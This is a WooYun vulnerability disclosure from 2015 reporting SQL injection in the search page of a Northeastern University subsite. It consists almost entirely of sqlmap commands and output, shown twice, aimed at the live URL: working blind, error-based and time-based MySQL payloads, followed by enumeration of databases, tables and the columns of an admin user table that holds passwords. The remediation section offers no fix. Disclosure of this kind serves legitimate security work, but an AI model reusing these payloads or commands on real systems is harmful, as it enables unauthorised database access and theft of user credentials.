当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135148

漏洞标题:东北大学某分站存在Sql注入导致信息泄露

相关厂商:东北大学

漏洞作者: SunnyDoll

提交时间:2015-08-19 10:31

修复时间:2015-08-24 10:32

公开时间:2015-08-24 10:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-19: 细节已通知厂商并且等待厂商处理中
2015-08-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

RT

详细说明:

injection link:http://www.bmie.neu.edu.cn/main/search?key=88952

C:\Python27\sqlmap>sqlmap.py -u http://www.bmie.neu.edu.cn/main/search?key=88952
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:18:54
[22:18:54] [INFO] resuming back-end DBMS 'mysql'
[22:18:54] [INFO] testing connection to the target URL
[22:18:54] [INFO] heuristics detected web page charset 'ascii'
[22:18:54] [CRITICAL] heuristics detected that the target is protected by some k
ind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: key (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY
clause
Payload: key=88952634'||(SELECT 'iveo' FROM DUAL WHERE 1214=1214 RLIKE (SELE
CT (CASE WHEN (5750=5750) THEN 88952634 ELSE 0x28 END)))||'
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: key=88952634'||(SELECT 'ZrPu' FROM DUAL WHERE 1336=1336 AND (SELECT
9627 FROM(SELECT COUNT(*),CONCAT(0x71766b7a71,(SELECT (ELT(9627=9627,1))),0x717
1706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))
||'
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: key=88952634'||(SELECT 'yGpA' FROM DUAL WHERE 6805=6805 AND SLEEP(5
))||'
---
[22:18:56] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.21, PHP 5.3.8
back-end DBMS: MySQL 5.0
[22:18:56] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.bmie.neu.edu.cn'
[*] shutting down at 22:18:56
C:\Python27\sqlmap>sqlmap.py -u http://www.bmie.neu.edu.cn/main/search?key=88952
--dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:19:02
[22:19:02] [INFO] resuming back-end DBMS 'mysql'
[22:19:02] [INFO] testing connection to the target URL
[22:19:03] [INFO] heuristics detected web page charset 'ascii'
[22:19:03] [CRITICAL] heuristics detected that the target is protected by some k
ind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: key (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY
clause
Payload: key=88952634'||(SELECT 'iveo' FROM DUAL WHERE 1214=1214 RLIKE (SELE
CT (CASE WHEN (5750=5750) THEN 88952634 ELSE 0x28 END)))||'
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: key=88952634'||(SELECT 'ZrPu' FROM DUAL WHERE 1336=1336 AND (SELECT
9627 FROM(SELECT COUNT(*),CONCAT(0x71766b7a71,(SELECT (ELT(9627=9627,1))),0x717
1706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))
||'
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: key=88952634'||(SELECT 'yGpA' FROM DUAL WHERE 6805=6805 AND SLEEP(5
))||'
---
[22:19:04] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.21, PHP 5.3.8
back-end DBMS: MySQL 5.0
[22:19:04] [INFO] fetching database names
[22:19:04] [INFO] the SQL query used returns 8 entries
[22:19:04] [INFO] resumed: information_schema
[22:19:04] [INFO] resumed: cdcol
[22:19:04] [INFO] resumed: dongda
[22:19:04] [INFO] resumed: mysql
[22:19:04] [INFO] resumed: performance_schema
[22:19:04] [INFO] resumed: phpmyadmin
[22:19:04] [INFO] resumed: test
[22:19:04] [INFO] resumed: webauth
available databases [8]:
[*] cdcol
[*] dongda
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
[*] webauth
[22:19:04] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.bmie.neu.edu.cn'
[*] shutting down at 22:19:04
C:\Python27\sqlmap>sqlmap.py -u http://www.bmie.neu.edu.cn/main/search?key=88952
--current-db
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:19:14
[22:19:14] [INFO] resuming back-end DBMS 'mysql'
[22:19:14] [INFO] testing connection to the target URL
[22:19:14] [INFO] heuristics detected web page charset 'ascii'
[22:19:14] [CRITICAL] heuristics detected that the target is protected by some k
ind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: key (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY
clause
Payload: key=88952634'||(SELECT 'iveo' FROM DUAL WHERE 1214=1214 RLIKE (SELE
CT (CASE WHEN (5750=5750) THEN 88952634 ELSE 0x28 END)))||'
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: key=88952634'||(SELECT 'ZrPu' FROM DUAL WHERE 1336=1336 AND (SELECT
9627 FROM(SELECT COUNT(*),CONCAT(0x71766b7a71,(SELECT (ELT(9627=9627,1))),0x717
1706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))
||'
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: key=88952634'||(SELECT 'yGpA' FROM DUAL WHERE 6805=6805 AND SLEEP(5
))||'
---
[22:19:16] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.21, PHP 5.3.8
back-end DBMS: MySQL 5.0
[22:19:16] [INFO] fetching current database
[22:19:16] [INFO] resumed: dongda
current database: 'dongda'
[22:19:16] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.bmie.neu.edu.cn'
[*] shutting down at 22:19:16
C:\Python27\sqlmap>sqlmap.py -u http://www.bmie.neu.edu.cn/main/search?key=88952
--tables -D dongda
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:19:55
[22:19:56] [INFO] resuming back-end DBMS 'mysql'
[22:19:56] [INFO] testing connection to the target URL
[22:19:56] [INFO] heuristics detected web page charset 'ascii'
[22:19:56] [CRITICAL] heuristics detected that the target is protected by some k
ind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: key (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY
clause
Payload: key=88952634'||(SELECT 'iveo' FROM DUAL WHERE 1214=1214 RLIKE (SELE
CT (CASE WHEN (5750=5750) THEN 88952634 ELSE 0x28 END)))||'
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: key=88952634'||(SELECT 'ZrPu' FROM DUAL WHERE 1336=1336 AND (SELECT
9627 FROM(SELECT COUNT(*),CONCAT(0x71766b7a71,(SELECT (ELT(9627=9627,1))),0x717
1706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))
||'
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: key=88952634'||(SELECT 'yGpA' FROM DUAL WHERE 6805=6805 AND SLEEP(5
))||'
---
[22:19:57] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.21, PHP 5.3.8
back-end DBMS: MySQL 5.0
[22:19:57] [INFO] fetching tables for database: 'dongda'
[22:19:57] [INFO] the SQL query used returns 17 entries
[22:19:57] [INFO] resumed: isns_admin_action
[22:19:57] [INFO] resumed: isns_admin_user
[22:19:57] [INFO] resumed: isns_chat
[22:19:57] [INFO] resumed: isns_role
[22:19:57] [INFO] resumed: t_file
[22:19:57] [INFO] resumed: t_homeset
[22:19:57] [INFO] resumed: t_index_pic
[22:19:57] [INFO] resumed: t_info
[22:19:57] [INFO] resumed: t_info_arti
[22:19:57] [INFO] resumed: t_info_class
[22:19:57] [INFO] resumed: t_info_pic
[22:19:57] [INFO] resumed: t_info_tj
[22:19:57] [INFO] resumed: t_jfen
[22:19:57] [INFO] resumed: t_lm
[22:19:57] [INFO] resumed: t_msg
[22:19:58] [INFO] resumed: t_users
[22:19:58] [INFO] resumed: t_users_info
Database: dongda
[17 tables]
+-------------------+
| isns_admin_action |
| isns_admin_user |
| isns_chat |
| isns_role |
| t_file |
| t_homeset |
| t_index_pic |
| t_info |
| t_info_arti |
| t_info_class |
| t_info_pic |
| t_info_tj |
| t_jfen |
| t_lm |
| t_msg |
| t_users |
| t_users_info |
+-------------------+
[22:19:58] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.bmie.neu.edu.cn'
[*] shutting down at 22:19:58
C:\Python27\sqlmap>sqlmap.py -u http://www.bmie.neu.edu.cn/main/search?key=88952
--columns -T isns_admin_user -D dongda
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:22:16
[22:22:16] [INFO] resuming back-end DBMS 'mysql'
[22:22:16] [INFO] testing connection to the target URL
[22:22:17] [INFO] heuristics detected web page charset 'ascii'
[22:22:17] [CRITICAL] heuristics detected that the target is protected by some k
ind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: key (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY
clause
Payload: key=88952634'||(SELECT 'iveo' FROM DUAL WHERE 1214=1214 RLIKE (SELE
CT (CASE WHEN (5750=5750) THEN 88952634 ELSE 0x28 END)))||'
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: key=88952634'||(SELECT 'ZrPu' FROM DUAL WHERE 1336=1336 AND (SELECT
9627 FROM(SELECT COUNT(*),CONCAT(0x71766b7a71,(SELECT (ELT(9627=9627,1))),0x717
1706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))
||'
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: key=88952634'||(SELECT 'yGpA' FROM DUAL WHERE 6805=6805 AND SLEEP(5
))||'
---
[22:22:18] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.21, PHP 5.3.8
back-end DBMS: MySQL 5.0
[22:22:18] [INFO] fetching columns for table 'isns_admin_user' in database 'dong
da'
[22:22:19] [INFO] heuristics detected web page charset 'ISO-8859-2'
[22:22:19] [WARNING] reflective value(s) found and filtering out
[22:22:19] [INFO] the SQL query used returns 7 entries
[22:22:19] [INFO] retrieved: id
[22:22:19] [INFO] retrieved: smallint(6) unsigned
[22:22:20] [INFO] retrieved: name
[22:22:20] [INFO] retrieved: varchar(32)
[22:22:20] [INFO] retrieved: email
[22:22:21] [INFO] retrieved: varchar(32)
[22:22:21] [INFO] retrieved: password
[22:22:21] [INFO] retrieved: varchar(32)
[22:22:22] [INFO] retrieved: role_id
[22:22:22] [INFO] retrieved: smallint(6)
[22:22:22] [INFO] retrieved: created_at
[22:22:52] [WARNING] connection timed out while trying to get error page informa
tion (500)
[22:22:53] [INFO] retrieved: updated_at
[22:22:53] [INFO] retrieved: datetime
Database: dongda
Table: isns_admin_user
[7 columns]
+------------+----------------------+
| Column | Type |
+------------+----------------------+
| created_at |
| email | varchar(32) |
| id | smallint(6) unsigned |
| name | varchar(32) |
| password | varchar(32) |
| role_id | smallint(6) |
| updated_at | datetime |
+------------+----------------------+
[22:22:53] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 14 times
[22:22:53] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.bmie.neu.edu.cn'
[*] shutting down at 22:22:53
C:\Python27\sqlmap>

漏洞证明:

injection link:http://www.bmie.neu.edu.cn/main/search?key=88952

C:\Python27\sqlmap>sqlmap.py -u http://www.bmie.neu.edu.cn/main/search?key=88952
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:18:54
[22:18:54] [INFO] resuming back-end DBMS 'mysql'
[22:18:54] [INFO] testing connection to the target URL
[22:18:54] [INFO] heuristics detected web page charset 'ascii'
[22:18:54] [CRITICAL] heuristics detected that the target is protected by some k
ind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: key (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY
clause
Payload: key=88952634'||(SELECT 'iveo' FROM DUAL WHERE 1214=1214 RLIKE (SELE
CT (CASE WHEN (5750=5750) THEN 88952634 ELSE 0x28 END)))||'
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: key=88952634'||(SELECT 'ZrPu' FROM DUAL WHERE 1336=1336 AND (SELECT
9627 FROM(SELECT COUNT(*),CONCAT(0x71766b7a71,(SELECT (ELT(9627=9627,1))),0x717
1706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))
||'
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: key=88952634'||(SELECT 'yGpA' FROM DUAL WHERE 6805=6805 AND SLEEP(5
))||'
---
[22:18:56] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.21, PHP 5.3.8
back-end DBMS: MySQL 5.0
[22:18:56] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.bmie.neu.edu.cn'
[*] shutting down at 22:18:56
C:\Python27\sqlmap>sqlmap.py -u http://www.bmie.neu.edu.cn/main/search?key=88952
--dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:19:02
[22:19:02] [INFO] resuming back-end DBMS 'mysql'
[22:19:02] [INFO] testing connection to the target URL
[22:19:03] [INFO] heuristics detected web page charset 'ascii'
[22:19:03] [CRITICAL] heuristics detected that the target is protected by some k
ind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: key (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY
clause
Payload: key=88952634'||(SELECT 'iveo' FROM DUAL WHERE 1214=1214 RLIKE (SELE
CT (CASE WHEN (5750=5750) THEN 88952634 ELSE 0x28 END)))||'
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: key=88952634'||(SELECT 'ZrPu' FROM DUAL WHERE 1336=1336 AND (SELECT
9627 FROM(SELECT COUNT(*),CONCAT(0x71766b7a71,(SELECT (ELT(9627=9627,1))),0x717
1706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))
||'
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: key=88952634'||(SELECT 'yGpA' FROM DUAL WHERE 6805=6805 AND SLEEP(5
))||'
---
[22:19:04] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.21, PHP 5.3.8
back-end DBMS: MySQL 5.0
[22:19:04] [INFO] fetching database names
[22:19:04] [INFO] the SQL query used returns 8 entries
[22:19:04] [INFO] resumed: information_schema
[22:19:04] [INFO] resumed: cdcol
[22:19:04] [INFO] resumed: dongda
[22:19:04] [INFO] resumed: mysql
[22:19:04] [INFO] resumed: performance_schema
[22:19:04] [INFO] resumed: phpmyadmin
[22:19:04] [INFO] resumed: test
[22:19:04] [INFO] resumed: webauth
available databases [8]:
[*] cdcol
[*] dongda
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
[*] webauth
[22:19:04] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.bmie.neu.edu.cn'
[*] shutting down at 22:19:04
C:\Python27\sqlmap>sqlmap.py -u http://www.bmie.neu.edu.cn/main/search?key=88952
--current-db
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:19:14
[22:19:14] [INFO] resuming back-end DBMS 'mysql'
[22:19:14] [INFO] testing connection to the target URL
[22:19:14] [INFO] heuristics detected web page charset 'ascii'
[22:19:14] [CRITICAL] heuristics detected that the target is protected by some k
ind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: key (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY
clause
Payload: key=88952634'||(SELECT 'iveo' FROM DUAL WHERE 1214=1214 RLIKE (SELE
CT (CASE WHEN (5750=5750) THEN 88952634 ELSE 0x28 END)))||'
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: key=88952634'||(SELECT 'ZrPu' FROM DUAL WHERE 1336=1336 AND (SELECT
9627 FROM(SELECT COUNT(*),CONCAT(0x71766b7a71,(SELECT (ELT(9627=9627,1))),0x717
1706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))
||'
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: key=88952634'||(SELECT 'yGpA' FROM DUAL WHERE 6805=6805 AND SLEEP(5
))||'
---
[22:19:16] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.21, PHP 5.3.8
back-end DBMS: MySQL 5.0
[22:19:16] [INFO] fetching current database
[22:19:16] [INFO] resumed: dongda
current database: 'dongda'
[22:19:16] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.bmie.neu.edu.cn'
[*] shutting down at 22:19:16
C:\Python27\sqlmap>sqlmap.py -u http://www.bmie.neu.edu.cn/main/search?key=88952
--tables -D dongda
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:19:55
[22:19:56] [INFO] resuming back-end DBMS 'mysql'
[22:19:56] [INFO] testing connection to the target URL
[22:19:56] [INFO] heuristics detected web page charset 'ascii'
[22:19:56] [CRITICAL] heuristics detected that the target is protected by some k
ind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: key (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY
clause
Payload: key=88952634'||(SELECT 'iveo' FROM DUAL WHERE 1214=1214 RLIKE (SELE
CT (CASE WHEN (5750=5750) THEN 88952634 ELSE 0x28 END)))||'
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: key=88952634'||(SELECT 'ZrPu' FROM DUAL WHERE 1336=1336 AND (SELECT
9627 FROM(SELECT COUNT(*),CONCAT(0x71766b7a71,(SELECT (ELT(9627=9627,1))),0x717
1706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))
||'
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: key=88952634'||(SELECT 'yGpA' FROM DUAL WHERE 6805=6805 AND SLEEP(5
))||'
---
[22:19:57] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.21, PHP 5.3.8
back-end DBMS: MySQL 5.0
[22:19:57] [INFO] fetching tables for database: 'dongda'
[22:19:57] [INFO] the SQL query used returns 17 entries
[22:19:57] [INFO] resumed: isns_admin_action
[22:19:57] [INFO] resumed: isns_admin_user
[22:19:57] [INFO] resumed: isns_chat
[22:19:57] [INFO] resumed: isns_role
[22:19:57] [INFO] resumed: t_file
[22:19:57] [INFO] resumed: t_homeset
[22:19:57] [INFO] resumed: t_index_pic
[22:19:57] [INFO] resumed: t_info
[22:19:57] [INFO] resumed: t_info_arti
[22:19:57] [INFO] resumed: t_info_class
[22:19:57] [INFO] resumed: t_info_pic
[22:19:57] [INFO] resumed: t_info_tj
[22:19:57] [INFO] resumed: t_jfen
[22:19:57] [INFO] resumed: t_lm
[22:19:57] [INFO] resumed: t_msg
[22:19:58] [INFO] resumed: t_users
[22:19:58] [INFO] resumed: t_users_info
Database: dongda
[17 tables]
+-------------------+
| isns_admin_action |
| isns_admin_user |
| isns_chat |
| isns_role |
| t_file |
| t_homeset |
| t_index_pic |
| t_info |
| t_info_arti |
| t_info_class |
| t_info_pic |
| t_info_tj |
| t_jfen |
| t_lm |
| t_msg |
| t_users |
| t_users_info |
+-------------------+
[22:19:58] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.bmie.neu.edu.cn'
[*] shutting down at 22:19:58
C:\Python27\sqlmap>sqlmap.py -u http://www.bmie.neu.edu.cn/main/search?key=88952
--columns -T isns_admin_user -D dongda
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:22:16
[22:22:16] [INFO] resuming back-end DBMS 'mysql'
[22:22:16] [INFO] testing connection to the target URL
[22:22:17] [INFO] heuristics detected web page charset 'ascii'
[22:22:17] [CRITICAL] heuristics detected that the target is protected by some k
ind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: key (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY
clause
Payload: key=88952634'||(SELECT 'iveo' FROM DUAL WHERE 1214=1214 RLIKE (SELE
CT (CASE WHEN (5750=5750) THEN 88952634 ELSE 0x28 END)))||'
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: key=88952634'||(SELECT 'ZrPu' FROM DUAL WHERE 1336=1336 AND (SELECT
9627 FROM(SELECT COUNT(*),CONCAT(0x71766b7a71,(SELECT (ELT(9627=9627,1))),0x717
1706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))
||'
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: key=88952634'||(SELECT 'yGpA' FROM DUAL WHERE 6805=6805 AND SLEEP(5
))||'
---
[22:22:18] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.21, PHP 5.3.8
back-end DBMS: MySQL 5.0
[22:22:18] [INFO] fetching columns for table 'isns_admin_user' in database 'dong
da'
[22:22:19] [INFO] heuristics detected web page charset 'ISO-8859-2'
[22:22:19] [WARNING] reflective value(s) found and filtering out
[22:22:19] [INFO] the SQL query used returns 7 entries
[22:22:19] [INFO] retrieved: id
[22:22:19] [INFO] retrieved: smallint(6) unsigned
[22:22:20] [INFO] retrieved: name
[22:22:20] [INFO] retrieved: varchar(32)
[22:22:20] [INFO] retrieved: email
[22:22:21] [INFO] retrieved: varchar(32)
[22:22:21] [INFO] retrieved: password
[22:22:21] [INFO] retrieved: varchar(32)
[22:22:22] [INFO] retrieved: role_id
[22:22:22] [INFO] retrieved: smallint(6)
[22:22:22] [INFO] retrieved: created_at
[22:22:52] [WARNING] connection timed out while trying to get error page informa
tion (500)
[22:22:53] [INFO] retrieved: updated_at
[22:22:53] [INFO] retrieved: datetime
Database: dongda
Table: isns_admin_user
[7 columns]
+------------+----------------------+
| Column | Type |
+------------+----------------------+
| created_at |
| email | varchar(32) |
| id | smallint(6) unsigned |
| name | varchar(32) |
| password | varchar(32) |
| role_id | smallint(6) |
| updated_at | datetime |
+------------+----------------------+
[22:22:53] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 14 times
[22:22:53] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.bmie.neu.edu.cn'
[*] shutting down at 22:22:53
C:\Python27\sqlmap>

修复方案:

i don't know

版权声明:转载请注明来源 SunnyDoll@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-08-24 10:32

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

2015-08-27:已经确认漏洞存在,已经转给相关部门尽快联系开发厂商协调解决。感谢漏洞提交者,因为确认漏洞晚了,希望能够改掉漏洞“忽略”,以减少影响。


漏洞评价:

评论